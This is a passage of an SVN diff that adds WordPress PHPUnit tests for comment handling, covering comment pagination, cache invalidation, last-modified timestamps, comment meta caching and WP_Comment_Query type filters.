+		$page_trackbacks = get_page_of_comment( $trackbacks[1], array( 'per_page' => 3, 'type' => 'trackback' ) );
+		$this->assertEquals( 2, $page_trackbacks );
+
+		$num_queries = $wpdb->num_queries;
+		$page_comments = get_page_of_comment( $comment, array( 'per_page' => 3, 'type' => 'comment' ) );
+		$this->assertEquals( 1, $page_comments );
+
+		$this->assertNotEquals( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 11334
+	 */
+	public function test_cache_should_be_invalidated_when_comment_is_approved() {
+		$p = self::factory()->post->create();
+		$c = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_approved' => 0 ) );
+
+		// Prime cache.
+		$page_1 = get_page_of_comment( $c, array( 'per_page' => 3 ) );
+
+		// Approve comment.
+		wp_set_comment_status( $c, 'approve' );
+
+		$this->assertFalse( wp_cache_get( $c, 'comment_pages' ) );
+	}
+
+	/**
+	 * @ticket 11334
+	 */
+	public function test_cache_should_be_invalidated_when_comment_is_deleted() {
+		$p = self::factory()->post->create();
+		$c = self::factory()->comment->create( array( 'comment_post_ID' => $p ) );
+
+		// Prime cache.
+		$page_1 = get_page_of_comment( $c, array( 'per_page' => 3 ) );
+
+		// Trash comment.
+		wp_trash_comment( $c );
+
+		$this->assertFalse( wp_cache_get( $c, 'comment_pages' ) );
+	}
+
+	/**
+	 * @ticket 11334
+	 */
+	public function test_cache_should_be_invalidated_when_comment_is_spammed() {
+		$p = self::factory()->post->create();
+		$c = self::factory()->comment->create( array( 'comment_post_ID' => $p ) );
+
+		// Prime cache.
+		$page_1 = get_page_of_comment( $c, array( 'per_page' => 3 ) );
+
+		// Spam comment.
+		wp_spam_comment( $c );
+
+		$this->assertFalse( wp_cache_get( $c, 'comment_pages' ) );
+	}
+
+	/**
+	 * @ticket 11334
+	 */
+	public function test_cache_should_be_invalidated_when_older_comment_is_published() {
+		$now = time();
+
+		$p = self::factory()->post->create();
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now ) ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 20 ) ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_approved' => 0, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 30 ) ) );
+
+		$this->assertEquals( 1, get_page_of_comment( $c1, array( 'per_page' => 2 ) ) );
+
+		wp_set_comment_status( $c3, '1' );
+
+		$this->assertEquals( 2, get_page_of_comment( $c1, array( 'per_page' => 2 ) ) );
+	}
+
+	/**
+	 * @ticket 34057
+	 */
+	public function test_query_should_be_limited_to_comments_on_the_proper_post() {
+		$posts = self::factory()->post->create_many( 2 );
+
+		$now = time();
+		$comments_0 = $comments_1 = array();
+		for ( $i = 0; $i < 5; $i++ ) {
+			$comments_0[] = self::factory()->comment->create( array( 'comment_post_ID' => $posts[0], 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - ( $i * 60 ) ) ) );
+			$comments_1[] = self::factory()->comment->create( array( 'comment_post_ID' => $posts[1], 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - ( $i * 60 ) ) ) );
+		}
+
+		$found_0 = get_page_of_comment( $comments_0[0], array( 'per_page' => 2 ) );
+		$this->assertEquals( 3, $found_0 );
+
+		$found_1 = get_page_of_comment( $comments_1[1], array( 'per_page' => 2 ) );
+		$this->assertEquals( 2, $found_1 );
+	}
+
+	/**
+	 * @ticket 13939
+	 */
+	public function test_only_top_level_comments_should_be_included_in_older_count() {
+		$post = self::factory()->post->create();
+
+		$now = time();
+		$comment_parents = $comment_children = array();
+		for ( $i = 0; $i < 5; $i++ ) {
+			$parent = self::factory()->comment->create( array( 'comment_post_ID' => $post, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - ( $i * 60 ) ) ) );
+			$comment_parents[ $i ] = $parent;
+
+			$child = self::factory()->comment->create( array( 'comment_post_ID' => $post, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - ( $i * 59 ) ), 'comment_parent' => $parent ) );
+			$comment_children[ $i ] = $child;
+		}
+
+		$page_1_indicies = array( 2, 3, 4 );
+		$page_2_indicies = array( 0, 1 );
+
+		$args = array(
+			'per_page' => 3,
+			'max_depth' => 2,
+		);
+
+		foreach ( $page_1_indicies as $p1i ) {
+			$this->assertSame( 1, (int) get_page_of_comment( $comment_parents[ $p1i ], $args ) );
+			$this->assertSame( 1, (int) get_page_of_comment( $comment_children[ $p1i ], $args ) );
+		}
+
+		foreach ( $page_2_indicies as $p2i ) {
+			$this->assertSame( 2, (int) get_page_of_comment( $comment_parents[ $p2i ], $args ) );
+			$this->assertSame( 2, (int) get_page_of_comment( $comment_children[ $p2i ], $args ) );
+		}
+	}
+
+	/**
+	 * @ticket 13939
+	 */
+	public function test_comments_per_page_option_should_be_fallback_when_query_var_is_not_available() {
+		$now = time();
+
+		$p = self::factory()->post->create();
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now ) ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 20 ) ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 30 ) ) );
+
+		update_option( 'page_comments', 1 );
+		update_option( 'comments_per_page', 2 );
+
+		$this->assertEquals( 2, get_page_of_comment( $c1 ) );
+	}
+
+	/**
+	 * @ticket 31101
+	 * @ticket 39280
+	 */
+	public function test_should_ignore_comment_order() {
+		$now = time();
+
+		$p = self::factory()->post->create();
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now ) ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 20 ) ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 30 ) ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 40 ) ) );
+
+		update_option( 'comment_order', 'desc' );
+		update_option( 'page_comments', 1 );
+		update_option( 'comments_per_page', 1 );
+
+		$this->assertEquals( 2, get_page_of_comment( $c3 ) );
+	}
+
+	/**
+	 * @ticket 31101
+	 * @ticket 39280
+	 */
+	public function test_should_ignore_default_comment_page() {
+		$now = time();
+
+		$p = self::factory()->post->create();
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now ) ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 20 ) ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 30 ) ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 40 ) ) );
+
+		update_option( 'default_comment_page', 'newest' );
+		update_option( 'page_comments', 1 );
+		update_option( 'comments_per_page', 1 );
+
+		$this->assertEquals( 2, get_page_of_comment( $c3 ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/lastCommentModified.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/lastCommentModified.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/lastCommentModified.php	(revision 56912)
@@ -0,0 +1,118 @@
+<?php
+
+/**
+ * @group comment
+ * @group 38027
+ */
+class Tests_Comment_Last_Modified extends WP_UnitTestCase {
+	public function test_no_comments() {
+		$this->assertFalse( get_lastcommentmodified() );
+	}
+
+	public function test_default_timezone() {
+		self::factory()->comment->create_and_get( array(
+			'comment_status'   => 1,
+			'comment_date'     => '2000-01-01 11:00:00',
+			'comment_date_gmt' => '2000-01-01 10:00:00',
+		) );
+
+		$this->assertSame( strtotime( '2000-01-01 10:00:00' ), strtotime( get_lastcommentmodified() ) );
+	}
+
+	public function test_server_timezone() {
+		self::factory()->comment->create_and_get( array(
+			'comment_status'   => 1,
+			'comment_date'     => '2000-01-01 11:00:00',
+			'comment_date_gmt' => '2000-01-01 10:00:00',
+		) );
+
+		$this->assertSame( strtotime( '2000-01-01 10:00:00' ), strtotime( get_lastcommentmodified() ) );
+	}
+
+	public function test_blog_timezone() {
+		self::factory()->comment->create_and_get( array(
+			'comment_status'   => 1,
+			'comment_date'     => '2000-01-01 11:00:00',
+			'comment_date_gmt' => '2000-01-01 10:00:00',
+		) );
+
+		$this->assertSame( '2000-01-01 11:00:00', get_lastcommentmodified( 'blog' ) );
+	}
+
+	public function test_gmt_timezone() {
+		self::factory()->comment->create_and_get( array(
+			'comment_status'   => 1,
+			'comment_date'     => '2000-01-01 11:00:00',
+			'comment_date_gmt' => '2000-01-01 10:00:00',
+		) );
+
+		$this->assertSame( strtotime( '2000-01-01 10:00:00' ), strtotime( get_lastcommentmodified( 'GMT' ) ) );
+	}
+
+	public function test_unknown_timezone() {
+		self::factory()->comment->create_and_get( array(
+			'comment_status'   => 1,
+			'comment_date'     => '2000-01-01 11:00:00',
+			'comment_date_gmt' => '2000-01-01 10:00:00',
+		) );
+
+		$this->assertFalse( get_lastcommentmodified( 'foo' ) );
+	}
+
+	public function test_data_is_cached() {
+		self::factory()->comment->create_and_get( array(
+			'comment_status'   => 1,
+			'comment_date'     => '2015-04-01 11:00:00',
+			'comment_date_gmt' => '2015-04-01 10:00:00',
+		) );
+
+		get_lastcommentmodified();
+		$this->assertSame( strtotime( '2015-04-01 10:00:00' ), strtotime( wp_cache_get( 'lastcommentmodified:server', 'timeinfo' ) ) );
+	}
+
+	public function test_cache_is_cleared() {
+		self::factory()->comment->create_and_get( array(
+			'comment_status'   => 1,
+			'comment_date'     => '2000-01-01 11:00:00',
+			'comment_date_gmt' => '2000-01-01 10:00:00',
+		) );
+
+		get_lastcommentmodified();
+
+		$this->assertSame( strtotime( '2000-01-01 10:00:00' ), strtotime( wp_cache_get( 'lastcommentmodified:server', 'timeinfo' ) ) );
+
+		self::factory()->comment->create_and_get( array(
+			'comment_status'   => 1,
+			'comment_date'     => '2000-01-02 11:00:00',
+			'comment_date_gmt' => '2000-01-02 10:00:00',
+		) );
+
+		$this->assertFalse( wp_cache_get( 'lastcommentmodified:server', 'timeinfo' ) );
+		$this->assertSame( strtotime( '2000-01-02 10:00:00' ), strtotime( get_lastcommentmodified() ) );
+		 $this->assertSame( strtotime( '2000-01-02 10:00:00' ), strtotime( wp_cache_get( 'lastcommentmodified:server', 'timeinfo' ) ) );
+	}
+
+	public function test_cache_is_cleared_when_comment_is_trashed() {
+		$comment_1 = self::factory()->comment->create_and_get( array(
+			'comment_status'   => 1,
+			'comment_date'     => '1998-01-01 11:00:00',
+			'comment_date_gmt' => '1998-01-01 10:00:00',
+		) );
+
+		$comment_2 = self::factory()->comment->create_and_get( array(
+			'comment_status'   => 1,
+			'comment_date'     => '2000-01-02 11:00:00',
+			'comment_date_gmt' => '2000-01-02 10:00:00',
+		) );
+
+		get_lastcommentmodified();
+
+		$this->assertSame( strtotime( '2000-01-02 10:00:00' ), strtotime( wp_cache_get( 'lastcommentmodified:server', 'timeinfo' ) ) );
+
+		wp_trash_comment( $comment_2->comment_ID );
+
+		$this->assertFalse( wp_cache_get( 'lastcommentmodified:server', 'timeinfo' ) );
+		$this->assertSame( strtotime( '1998-01-01 10:00:00' ), strtotime( get_lastcommentmodified() ) );
+		$this->assertSame( strtotime( '1998-01-01 10:00:00' ), strtotime( wp_cache_get( 'lastcommentmodified:server', 'timeinfo' ) ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/metaCache.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/metaCache.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/metaCache.php	(revision 56912)
@@ -0,0 +1,250 @@
+<?php
+
+class Tests_Comment_Meta_Cache extends WP_UnitTestCase {
+	protected $i = 0;
+	protected $queries = 0;
+
+	/**
+	 * @ticket 16894
+	 */
+	public function test_update_comment_meta_cache_should_default_to_true() {
+		global $wpdb;
+
+		$p = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$comment_ids = self::factory()->comment->create_post_comments( $p, 3 );
+
+		foreach ( $comment_ids as $cid ) {
+			update_comment_meta( $cid, 'foo', 'bar' );
+		}
+
+		// Clear comment cache, just in case.
+		clean_comment_cache( $comment_ids );
+
+		$q = new WP_Comment_Query( array(
+			'post_ID' => $p,
+		) );
+
+		$num_queries = $wpdb->num_queries;
+		foreach ( $comment_ids as $cid ) {
+			get_comment_meta( $cid, 'foo', 'bar' );
+		}
+
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 16894
+	 */
+	public function test_update_comment_meta_cache_true() {
+		global $wpdb;
+
+		$p = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$comment_ids = self::factory()->comment->create_post_comments( $p, 3 );
+
+		foreach ( $comment_ids as $cid ) {
+			update_comment_meta( $cid, 'foo', 'bar' );
+		}
+
+		// Clear comment cache, just in case.
+		clean_comment_cache( $comment_ids );
+
+		$q = new WP_Comment_Query( array(
+			'post_ID' => $p,
+			'update_comment_meta_cache' => true,
+		) );
+
+		$num_queries = $wpdb->num_queries;
+		foreach ( $comment_ids as $cid ) {
+			get_comment_meta( $cid, 'foo', 'bar' );
+		}
+
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 16894
+	 */
+	public function test_update_comment_meta_cache_false() {
+		global $wpdb;
+
+		$p = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$comment_ids = self::factory()->comment->create_post_comments( $p, 3 );
+
+		foreach ( $comment_ids as $cid ) {
+			update_comment_meta( $cid, 'foo', 'bar' );
+		}
+
+		$q = new WP_Comment_Query( array(
+			'post_ID' => $p,
+			'update_comment_meta_cache' => false,
+		) );
+
+		$num_queries = $wpdb->num_queries;
+		foreach ( $comment_ids as $cid ) {
+			get_comment_meta( $cid, 'foo', 'bar' );
+		}
+
+		$this->assertSame( $num_queries + 3, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 16894
+	 */
+	public function test_comment_meta_should_be_lazy_loaded_for_all_comments_in_comments_template() {
+		global $wpdb;
+
+		$p = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$comment_ids = self::factory()->comment->create_post_comments( $p, 3 );
+
+		foreach ( $comment_ids as $cid ) {
+			update_comment_meta( $cid, 'sauce', 'fire' );
+		}
+
+		$this->go_to( get_permalink( $p ) );
+
+		if ( have_posts() ) {
+			while ( have_posts() ) {
+				the_post();
+
+				// Load comments with `comments_template()`.
+				$cform = get_echo( 'comments_template' );
+
+				// First request will hit the database.
+				$num_queries = $wpdb->num_queries;
+				get_comment_meta( $comment_ids[0], 'sauce' );
+				$this->assertSame( $num_queries + 1, $wpdb->num_queries );
+
+				// Second and third requests should be in cache.
+				get_comment_meta( $comment_ids[1], 'sauce' );
+				get_comment_meta( $comment_ids[2], 'sauce' );
+				$this->assertSame( $num_queries + 1, $wpdb->num_queries );
+			}
+		}
+	}
+
+	/**
+	 * @ticket 34047
+	 */
+	public function test_comment_meta_should_be_lazy_loaded_in_comment_feed_queries() {
+		global $wpdb;
+
+		$posts = self::factory()->post->create_many( 2, array( 'post_status' => 'publish' ) );
+
+		$now = time();
+		$comments = array();
+		for ( $i = 0; $i < 5; $i++ ) {
+			$comments[] = self::factory()->comment->create( array(
+				'comment_post_ID' => $posts[0],
+				'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - ( 60 * $i ) ),
+			) );
+		}
+
+		foreach ( $comments as $c ) {
+			add_comment_meta( $c, 'foo', 'bar' );
+		}
+
+		update_option( 'posts_per_rss', 3 );
+
+		$q = new WP_Query( array(
+			'feed' => true,
+			'withcomments' => true,
+		) );
+
+		// First comment will cause the cache to be primed.
+		$num_queries = $wpdb->num_queries;
+		$this->assertSame( 'bar', get_comment_meta( $comments[0], 'foo', 'bar' ) );
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+
+		// Second comment from the results should not cause more queries.
+		$this->assertSame( 'bar', get_comment_meta( $comments[1], 'foo', 'bar' ) );
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+
+		// A comment from outside the results will not be primed.
+		$this->assertSame( 'bar', get_comment_meta( $comments[4], 'foo', 'bar' ) );
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 34047
+	 */
+	public function test_comment_meta_should_be_lazy_loaded_in_single_post_comment_feed_queries() {
+		global $wpdb;
+
+		$posts = self::factory()->post->create_many( 2, array( 'post_status' => 'publish' ) );
+
+		$now = time();
+		$comments = array();
+		for ( $i = 0; $i < 5; $i++ ) {
+			$comments[] = self::factory()->comment->create( array(
+				'comment_post_ID' => $posts[0],
+				'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - ( 60 * $i ) ),
+			) );
+		}
+
+		foreach ( $comments as $c ) {
+			add_comment_meta( $c, 'foo', 'bar' );
+		}
+
+		update_option( 'posts_per_rss', 3 );
+
+		$q = new WP_Query( array(
+			'feed' => true,
+			'withcomments' => true,
+			'p' => $posts[0],
+		) );
+
+		// First comment will cause the cache to be primed.
+		$num_queries = $wpdb->num_queries;
+		$this->assertSame( 'bar', get_comment_meta( $comments[0], 'foo', 'bar' ) );
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+
+		// Second comment from the results should not cause more queries.
+		$this->assertSame( 'bar', get_comment_meta( $comments[1], 'foo', 'bar' ) );
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+
+		// A comment from outside the results will not be primed.
+		$this->assertSame( 'bar', get_comment_meta( $comments[4], 'foo', 'bar' ) );
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 44467
+	 */
+	public function test_add_metadata_sets_comments_last_changed() {
+		$comment_id = self::factory()->comment->create();
+
+		wp_cache_delete( 'last_changed', 'comment' );
+
+		$this->assertInternalType( 'integer', add_metadata( 'comment', $comment_id, 'foo', 'bar' ) );
+		$this->assertNotFalse( wp_cache_get_last_changed( 'comment' ) );
+	}
+
+	/**
+	 * @ticket 44467
+	 */
+	public function test_update_metadata_sets_comments_last_changed() {
+		$comment_id = self::factory()->comment->create();
+
+		wp_cache_delete( 'last_changed', 'comment' );
+
+		$this->assertInternalType( 'integer', update_metadata( 'comment', $comment_id, 'foo', 'bar' ) );
+		$this->assertNotFalse( wp_cache_get_last_changed( 'comment' ) );
+	}
+
+	/**
+	 * @ticket 44467
+	 */
+	public function test_delete_metadata_sets_comments_last_changed() {
+		$comment_id = self::factory()->comment->create();
+
+		update_metadata( 'comment', $comment_id, 'foo', 'bar' );
+		wp_cache_delete( 'last_changed', 'comment' );
+
+		$this->assertTrue( delete_metadata( 'comment', $comment_id, 'foo' ) );
+		$this->assertNotFalse( wp_cache_get_last_changed( 'comment' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/query.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/query.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/query.php	(revision 56912)
@@ -0,0 +1,3165 @@
+<?php
+
+// Test the output of Comment Querying functions
+
+/**
+ * @group comment
+ */
+class Tests_Comment_Query extends WP_UnitTestCase {
+	protected static $post_id;
+	protected $comment_id;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$post_id = $factory->post->create();
+	}
+
+	function setUp() {
+		parent::setUp();
+	}
+
+	public function test_query() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c4, $c5 ), $found );
+	}
+
+	public function test_query_post_id_0() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'post_id' => 0,
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_query_type_empty_string() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => '',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c4, $c5 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_query_type_comment() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => 'comment',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1 ), $found );
+	}
+
+	public function test_query_type_pingback() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => 'pingback',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c2, $c3 ), $found );
+
+	}
+
+	public function test_query_type_trackback() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => 'trackback',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c2, $c3 ), $found );
+
+	}
+
+	/**
+	 * 'pings' is an alias for 'trackback' + 'pingback'.
+	 */
+	public function test_query_type_pings() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => 'pings',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c2, $c3 ), $found );
+	}
+
+	/**
+	 * Comments and custom
+	 * @ticket 12668
+	 */
+	public function test_type_array_comments_and_custom() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+		$c6 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'comments', 'mario' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c4, $c6 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_not__in_array_custom() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+		$c6 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type__not_in' => array( 'luigi' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c4, $c6 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type__in_array_and_not_type_array_custom() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+		$c6 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type__in' => array( 'comments' ),
+			'type__not_in' => array( 'luigi' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_and_type__not_in_array_custom() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+		$c6 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'pings' ),
+			'type__not_in' => array( 'mario' ),
